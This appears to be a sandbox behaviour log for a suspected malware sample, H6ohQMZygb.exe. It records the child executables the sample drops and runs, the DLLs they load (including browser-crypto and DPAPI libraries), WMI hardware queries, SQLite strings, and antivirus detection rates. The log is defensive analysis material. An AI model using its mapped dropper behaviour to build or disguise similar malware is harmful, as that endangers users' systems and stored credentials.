Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: u5e0.0.exe, u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: u5e0.0.exe, 00000001.00000002.2136930698.000000001E787000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000002.2165501729.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: H6ohQMZygb.exe	ReversingLabs: Detection: 47%
Source: H6ohQMZygb.exe	Virustotal: Detection: 37%

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

File read: C:\Users\user\Desktop\H6ohQMZygb.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\H6ohQMZygb.exe "C:\Users\user\Desktop\H6ohQMZygb.exe"
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.0.exe "C:\Users\user\AppData\Local\Temp\u5e0.0.exe"
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe "C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe"
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.3.exe "C:\Users\user\AppData\Local\Temp\u5e0.3.exe"
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6984 -s 1128
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7156 -s 2248
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.0.exe "C:\Users\user\AppData\Local\Temp\u5e0.0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe "C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe"	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Process created: C:\Users\user\AppData\Local\Temp\u5e0.3.exe "C:\Users\user\AppData\Local\Temp\u5e0.3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Process created: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe "C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1	Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\H6ohQMZygb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: schedcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5e0.3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
